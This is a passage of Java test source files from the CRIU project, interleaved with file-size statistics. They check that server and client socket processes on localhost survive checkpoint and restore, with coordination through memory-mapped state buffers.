state. */ socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_INIT); logger.log(Level.INFO, "Starting server and client process"); ProcessBuilder builder = new ProcessBuilder("java", "-cp", "target/classes", Helper.PACKAGE_NAME + "." + "SocketsConnectServer", TESTNAME, port); Process serverProcess = builder.start(); builder = new ProcessBuilder("java", "-cp", "target/classes", Helper.PACKAGE_NAME + "." + "SocketsConnectClient", TESTNAME, port); Process clientProcess = builder.start(); while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_INIT) { ; } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { logger.log(Level.SEVERE, "Killing the server process and client process"); logger.log(Level.SEVERE, "Some error took place in the client or server process: check their log for details"); serverProcess.destroy(); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL) { logger.log(Level.SEVERE, "Killing the server process and client process"); logger.log(Level.SEVERE, "Exception occurred in the client or server process: check their log for details"); serverProcess.destroy(); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_CHECKPOINT) { logger.log(Level.SEVERE, "Killing the server process and client process"); logger.log(Level.SEVERE, "State is not the expected 'to be checkpointed' state"); serverProcess.destroy(); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_CHECKPOINT) { logger.log(Level.INFO, "Going to checkpoint server process"); try { Thread.sleep(10); } catch (InterruptedException e) { logger.log(Level.WARNING, "Thread was interrupted"); } SocketHelper.checkpointAndWait(b, logger, serverProcess, clientProcess); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_RESTORE); logger.log(Level.INFO, "Process has been restored!"); } while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_RESTORE || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_LISTEN) { ; } char bufchar = socketMappedBuffer.getChar(Helper.MAPPED_INDEX); if (bufchar != Helper.STATE_FAIL && bufchar != Helper.STATE_PASS && bufchar != SocketHelper.STATE_SUCCESS) { logger.log(Level.SEVERE, "Received wrong message from the child process: not the expected finish message"); logger.log(Level.SEVERE, "Check their log files for more details"); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { logger.log(Level.SEVERE, "Error in the client or server process: check their log for details"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_SUCCESS) { ; } /* * Client process puts socketMappedBuffer to 'P'-Pass state if the test passed. * Send pass message to Checkpoint-restore.java */ if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_PASS) { logger.log(Level.INFO, Helper.PASS_MESSAGE); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); } else { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } System.exit(0); } catch (Exception e) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); e.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + e); logger.log(Level.FINE, writer.toString()); } if (b != null) { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } System.exit(5); } } }
6,591
40.721519
164
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketsConnectClient.java
package org.criu.java.tests; import java.io.*; import java.net.Socket; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class SocketsConnectClient { static String TESTNAME = "SocketsConnectClient"; public static void main(String[] args) { MappedByteBuffer socketMappedBuffer = null; FileChannel channel; Socket socket = null; String parentTestName, portArg; int port; Logger logger = null; try { parentTestName = args[0]; portArg = args[1]; port = Integer.parseInt(portArg); String msg1 = "Ch@ckM@$$@Ge!1", msg2 = "cH@C!m$SG!!2", readMssg, msg3 = "@Ft@rCPM$$g3", msg4 = "Aft@rCPM$$g4"; /* * Socket Mapped Buffer to communicate between server process, client process and the calling parent process. */ File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + parentTestName + "/SocketsConnectFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); SocketHelper.init(TESTNAME, parentTestName, logger); logger.log(Level.INFO, "Begin"); logger.log(Level.INFO, "Parent name: " + parentTestName); if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_INIT && socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_CHECKPOINT && socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_RESTORE) { logger.log(Level.SEVERE, "Error: Socket-buffer not in expected Init state"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Waiting for CR"); /* * Wait for Checkpoint-Restore to occur */ while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_INIT || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_CHECKPOINT) { ; } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_RESTORE) { logger.log(Level.SEVERE, "Error:Buffer does not contain the expected restored state: " + socketMappedBuffer.getChar(Helper.MAPPED_INDEX)); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Restored"); logger.log(Level.INFO, "Client socket sending req to server at IP: 127.0.0.1 port:" + port); /* * Server should has have been listening for client connections when it was checkpointed, and it should continue to listen after restore. */ try { socket = new Socket(SocketHelper.IP_ADDRESS, port); } catch (Exception e) { logger.log(Level.SEVERE, "Exception occurred when connecting to port: " + e); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } PrintStream out = new PrintStream(socket.getOutputStream()); BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); logger.log(Level.INFO, "Sending message to server " + msg1); out.println(msg1); readMssg = br.readLine(); logger.log(Level.INFO, "message received from server " + readMssg); if (!msg2.equals(readMssg)) { logger.log(Level.SEVERE, "wrong message received; Expected " + msg2); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } logger.log(Level.INFO, "Sending message to server " + msg3); out.println(msg3); readMssg = br.readLine(); logger.log(Level.INFO, "message received from server " + readMssg); if (!msg4.equals(readMssg)) { logger.log(Level.SEVERE, "wrong message received; Expected " + msg4); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } socket.close(); /* * Wait for server process to end. */ while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_RESTORE) { ; } /* * Check the server process has ended successfully, if it was a success put Mapped Buffer to pass state, else to failed state */ if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_SUCCESS) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); } else { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } } catch (Exception exception) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); exception.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + exception); logger.log(Level.FINE, writer.toString()); } if (socketMappedBuffer != null) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } } } }
4,990
37.099237
231
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketsConnectServer.java
package org.criu.java.tests; import java.io.*; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.net.ServerSocket; import java.net.Socket; import java.net.SocketException; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class SocketsConnectServer { static String TESTNAME = "SocketsConnectServer"; public static void main(String[] args) { MappedByteBuffer socketMappedBuffer = null; FileChannel channel; Socket socket = null; String msg1 = "Ch@ckM@$$@Ge!1", msg2 = "cH@C!m$SG!!2", msg3 = "@Ft@rCPM$$g3", msg4 = "Aft@rCPM$$g4", readMssg; Logger logger = null; String parentTestName, portArg; int port; try { parentTestName = args[0]; portArg = args[1]; port = Integer.parseInt(portArg); /* * Socket Mapped Buffer to communicate between server process, client process and the calling parent process. */ File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + parentTestName + "/SocketsConnectFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); SocketHelper.init(TESTNAME, parentTestName, logger); RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); String pid = bean.getName(); SocketHelper.writePid(parentTestName, pid); logger.log(Level.INFO, "Begin"); logger.log(Level.INFO, "Parent name: " + parentTestName); logger.log(Level.INFO, "Server pid: " + pid); logger.log(Level.INFO, "socket buffer connection opened"); if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_INIT) { logger.log(Level.SEVERE, "Socket-buffer not in expected Init state"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); } ServerSocket s = new ServerSocket(port); logger.log(Level.INFO, "Server will be listening on Port: " + port); /* * Timeout after 7 sec if client does not connect */ try { s.setSoTimeout(7 * 1000); } catch (SocketException e) { logger.log(Level.SEVERE, "Cannot set timeout!"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } logger.log(Level.INFO, "Waiting for client to connect"); logger.log(Level.INFO, "Going to checkpoint"); try { if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { s.close(); System.exit(1); } /* * Checkpoint when server is listening for connections, and no client has connected to the server. */ socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_CHECKPOINT); socket = s.accept(); SocketHelper.socketWaitForRestore(socketMappedBuffer, logger); } catch (Exception e) { logger.log(Level.SEVERE, "Timed out while waiting for client to connect\n" + e); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } if (!s.isBound()) { logger.log(Level.SEVERE, "Server is not bound to a port"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } if (s.getLocalPort() != port) { logger.log(Level.SEVERE, "Server is not listening on correct port"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); PrintStream outstream = new PrintStream(socket.getOutputStream()); readMssg = br.readLine(); logger.log(Level.INFO, "Read message 1: " + readMssg); if (!msg1.equals(readMssg)) { logger.log(Level.SEVERE, "Message 1 received was wrong,received: " + readMssg + " expected: " + msg1); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } logger.log(Level.INFO, "Sending message: " + msg2); outstream.println(msg2); readMssg = br.readLine(); logger.log(Level.INFO, "Read message 3: " + readMssg); if (!msg3.equals(readMssg)) { logger.log(Level.SEVERE, "Message 3 received was wrong, received: " + readMssg + " expected: " + msg3); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } outstream.println(msg4); logger.log(Level.INFO, "Sent message 4 " + msg4); socket.close(); /* * Put Socket-MappedBuffer to state SocketHelper.STATE_SUCCESS telling the server process has ended successfully. */ if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { System.exit(1); } else { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, SocketHelper.STATE_SUCCESS); } } catch (Exception exception) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); exception.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + exception); logger.log(Level.FINE, writer.toString()); } if (socketMappedBuffer != null) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } } } }
5,534
35.414474
150
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketsData.java
package org.criu.java.tests; import java.io.File; import java.io.PrintWriter; import java.io.StringWriter; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class SocketsData { static String TESTNAME = "SocketsData"; /** * Runs the server and client processes, checkpoints the client process when its in the middle of data transfer * * @param args Not used */ public static void main(String[] args) { MappedByteBuffer b = null, socketMappedBuffer = null; FileChannel channel; String pid; Logger logger = null; String port = "49200"; try { /* * Mapped buffer 'b' to communicate between CheckpointRestore.java and this process. */ File f = new File(Helper.MEMORY_MAPPED_FILE_NAME); channel = FileChannel.open(f.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); b = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); pid = bean.getName(); Helper.init(TESTNAME, pid, logger); logger.log(Level.INFO, "Test init done; pid written to pid file; beginning with test"); if (b.getChar(Helper.MAPPED_INDEX) != Helper.STATE_INIT) { logger.log(Level.SEVERE, "Error: Error in memory mapping, test is not in init state"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } /* * Socket Mapped Buffer to communicate between server process, client process and this process. */ logger.log(Level.INFO, "Creating socketbufferfile and setting the init value of buffer"); File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + TESTNAME + "/SocketsDataFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); /* * Set socketMappedBuffer to init state. */ socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_INIT); logger.log(Level.INFO, "Starting server and client process"); ProcessBuilder builder = new ProcessBuilder("java", "-cp", "target/classes", Helper.PACKAGE_NAME + "." + "SocketsDataServer", TESTNAME, port); Process serverProcess = builder.start(); builder = new ProcessBuilder("java", "-cp", "target/classes", Helper.PACKAGE_NAME + "." + "SocketsDataClient", TESTNAME, port); Process clientProcess = builder.start(); while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_INIT || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_LISTEN) { ; } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { logger.log(Level.SEVERE, "Killing the server process and client process"); logger.log(Level.SEVERE, "Some error took place in the client or server process: check their log for details"); serverProcess.destroy(); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL) { logger.log(Level.SEVERE, "Killing the server process and client process"); logger.log(Level.SEVERE, "Exception occurred in the client or server process: check their log for details"); serverProcess.destroy(); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_CHECKPOINT) { logger.log(Level.SEVERE, "Killing the server process and client process"); logger.log(Level.SEVERE, "State is not the expected 'to be checkpointed' state"); serverProcess.destroy(); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_CHECKPOINT) { logger.log(Level.INFO, "Going to checkpoint client process"); try { Thread.sleep(10); } catch (InterruptedException e) { logger.log(Level.WARNING, "Thread was interrupted"); } SocketHelper.checkpointAndWait(b, logger, serverProcess, clientProcess); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_RESTORE); logger.log(Level.INFO, "Process has been restored!"); } while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_RESTORE) { ; } char bufchar = socketMappedBuffer.getChar(Helper.MAPPED_INDEX); if (bufchar != Helper.STATE_FAIL && bufchar != Helper.STATE_PASS && bufchar != SocketHelper.STATE_SUCCESS) { logger.log(Level.SEVERE, "Received wrong message from the child process: not the expected finish message"); logger.log(Level.SEVERE, "Check their log files for more details"); serverProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { logger.log(Level.SEVERE, "Error in the client or server process: check their log for details"); serverProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_SUCCESS) { ; } /* * Client process puts socketMappedBuffer to STATE_PASS if the test passed. */ if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_PASS) { logger.log(Level.INFO, Helper.PASS_MESSAGE); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); } else { logger.log(Level.INFO, "Did not receive pass message from the client process"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } } catch (Exception e) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); e.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + e); logger.log(Level.FINE, writer.toString()); } if (b != null) { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } System.exit(5); } } }
6,563
40.808917
161
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketsDataClient.java
package org.criu.java.tests; import java.io.*; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.net.Socket; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class SocketsDataClient { static String TESTNAME = "SocketsDataClient"; public static void main(String[] args) { MappedByteBuffer socketMappedBuffer = null; FileChannel channel; Socket socket = null; String parentTestName, portArg; int port; Logger logger = null; try { parentTestName = args[0]; portArg = args[1]; port = Integer.parseInt(portArg); String msg1 = "Ch@ckM@$$@Ge!1", msg2 = "cH@C!m$SG!!2", readMssg, msg3 = "@Ft@rCPM$$g3", msg4 = "Aft@rCPM$$g4"; /* * Socket Mapped Buffer to communicate between server process, client process and the calling parent process. */ File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + parentTestName + "/SocketsDataFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); SocketHelper.init(TESTNAME, parentTestName, logger); logger.log(Level.INFO, "Begin"); logger.log(Level.INFO, "Parent name: " + parentTestName); RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); String pid = bean.getName(); logger.log(Level.INFO, "Client pid: " + pid); SocketHelper.writePid(parentTestName, pid); if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_INIT && socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != SocketHelper.STATE_LISTEN) { logger.log(Level.SEVERE, "Error: Socket-buffer not in expected Init state"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_INIT) { ; } /* * Socket Mapped Buffer should be in 'Server listening for connections' state */ if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != SocketHelper.STATE_LISTEN) { logger.log(Level.SEVERE, "socket-buffer not in expected state, current state: " + socketMappedBuffer.getChar(Helper.MAPPED_INDEX)); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } /* * Server starts listening on port after putting the Mapped Buffer is in SocketHelper.STATE_LISTEN state */ logger.log(Level.INFO, "Client socket sending req to server at IP: 127.0.0.1 port:" + port); try { socket = new Socket(SocketHelper.IP_ADDRESS, port); } catch (IOException e) { logger.log(Level.SEVERE, "Exception occurred when connecting to port: " + e); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } PrintStream out = new PrintStream(socket.getOutputStream()); BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); logger.log(Level.INFO, "Sending message to server " + msg1); out.println(msg1); readMssg = br.readLine(); logger.log(Level.INFO, "message received from server " + readMssg); if (!msg2.equals(readMssg)) { logger.log(Level.SEVERE, "wrong message received; Expected " + msg2); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } /* * Checkpoints and wait for Restore */ logger.log(Level.INFO, "Going to checkpoint"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_CHECKPOINT); SocketHelper.socketWaitForRestore(socketMappedBuffer, logger); logger.log(Level.INFO, "Sending message to server " + msg3); out.println(msg3); readMssg = br.readLine(); logger.log(Level.INFO, "message received from server " + readMssg); if (!msg4.equals(readMssg)) { logger.log(Level.SEVERE, "wrong message received; Expected " + msg2); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } socket.close(); /* * Wait for server process to end. */ while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_RESTORE) { ; } /* * Check the server process has ended successfully, if it was a success put Mapped Buffer to pass state, else to failed state */ if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_SUCCESS) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); } else { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } } catch (Exception exception) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); exception.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + exception); logger.log(Level.FINE, writer.toString()); } if (socketMappedBuffer != null) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } } } }
5,285
36.225352
158
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketsDataServer.java
package org.criu.java.tests; import java.io.*; import java.net.ServerSocket; import java.net.Socket; import java.net.SocketException; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class SocketsDataServer { static String TESTNAME = "SocketsDataServer"; public static void main(String[] args) { MappedByteBuffer socketMappedBuffer = null; FileChannel channel; String parentTestName, portArg; int port; Socket socket = null; Logger logger = null; String msg1 = "Ch@ckM@$$@Ge!1", msg2 = "cH@C!m$SG!!2", msg3 = "@Ft@rCPM$$g3", msg4 = "Aft@rCPM$$g4", readMssg; try { parentTestName = args[0]; portArg = args[1]; port = Integer.parseInt(portArg); /* * Socket Mapped Buffer to communicate between server process, client process and the calling parent process. */ File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + parentTestName + "/SocketsDataFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); SocketHelper.init(TESTNAME, parentTestName, logger); logger.log(Level.INFO, "Begin"); logger.log(Level.INFO, "Parent name: " + parentTestName); logger.log(Level.INFO, "socket buffer connection opened"); if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_INIT) { logger.log(Level.SEVERE, "Socket-buffer not in expected Init state"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } ServerSocket s = new ServerSocket(port); logger.log(Level.INFO, "Server will be listening on Port " + port); /* * Wait for 7 seconds for client to connect, else throw a timeout exception */ try { s.setSoTimeout(7 * 1000); } catch (SocketException e) { logger.log(Level.SEVERE, "cannot set timeout"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } logger.log(Level.INFO, "Waiting for client to connect"); /* * Put Socket Mapped Buffer to SocketHelper.STATE_LISTEN state - server has bound to port and * begin listening for connections. */ socketMappedBuffer.putChar(Helper.MAPPED_INDEX, SocketHelper.STATE_LISTEN); socket = s.accept(); BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); PrintStream outstream = new PrintStream(socket.getOutputStream()); readMssg = br.readLine(); logger.log(Level.INFO, "Read message 1: " + readMssg); if (!msg1.equals(readMssg)) { logger.log(Level.SEVERE, "Message 1 received was wrong:rec " + readMssg + " expected: " + msg1); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } logger.log(Level.INFO, "Sending message: " + msg2); outstream.println(msg2); readMssg = br.readLine(); logger.log(Level.INFO, "Read message 3: " + readMssg); if (!msg3.equals(readMssg)) { logger.log(Level.SEVERE, "Message 3 received was wrong:rec " + readMssg + " expected: " + msg3); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } outstream.println(msg4); logger.log(Level.INFO, "Sent message 4 " + msg4); socket.close(); /* * Put Socket-MappedBuffer to state SocketHelper.STATE_SUCCESS telling the server process has ended successfully. */ if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { System.exit(1); } else { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, SocketHelper.STATE_SUCCESS); } } catch (Exception exception) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); exception.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + exception); logger.log(Level.FINE, writer.toString()); } if (socketMappedBuffer != null) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } } } }
4,408
34.272
149
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketsListen.java
package org.criu.java.tests; import java.io.File; import java.io.PrintWriter; import java.io.StringWriter; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class SocketsListen { static String TESTNAME = "SocketsListen"; /** * Runs the client and server process, checkpoints the server process when the server has bound to a port, but has not yet started listening * * @param args Not used */ public static void main(String[] args) { MappedByteBuffer b = null, socketMappedBuffer = null; FileChannel channel; String pid; String port = "49200"; Logger logger = null; try { logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); /* * Mapped buffer 'b' to communicate between CheckpointRestore.java and this process. */ File f = new File(Helper.MEMORY_MAPPED_FILE_NAME); channel = FileChannel.open(f.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); b = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); pid = bean.getName(); Helper.init(TESTNAME, pid, logger); logger.log(Level.INFO, "Test init done; pid written to pid file; beginning with test"); if (b.getChar(Helper.MAPPED_INDEX) != Helper.STATE_INIT) { logger.log(Level.SEVERE, "Error: Error in memory mapping, test is not in init state"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Creating socketbufferfile and setting the init value of buffer"); /* * Socket Mapped Buffer to communicate between server process, client process and this process. */ File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + TESTNAME + "/SocketsListenFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); /* * Set socketMappedBuffer to init state. */ socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_INIT); 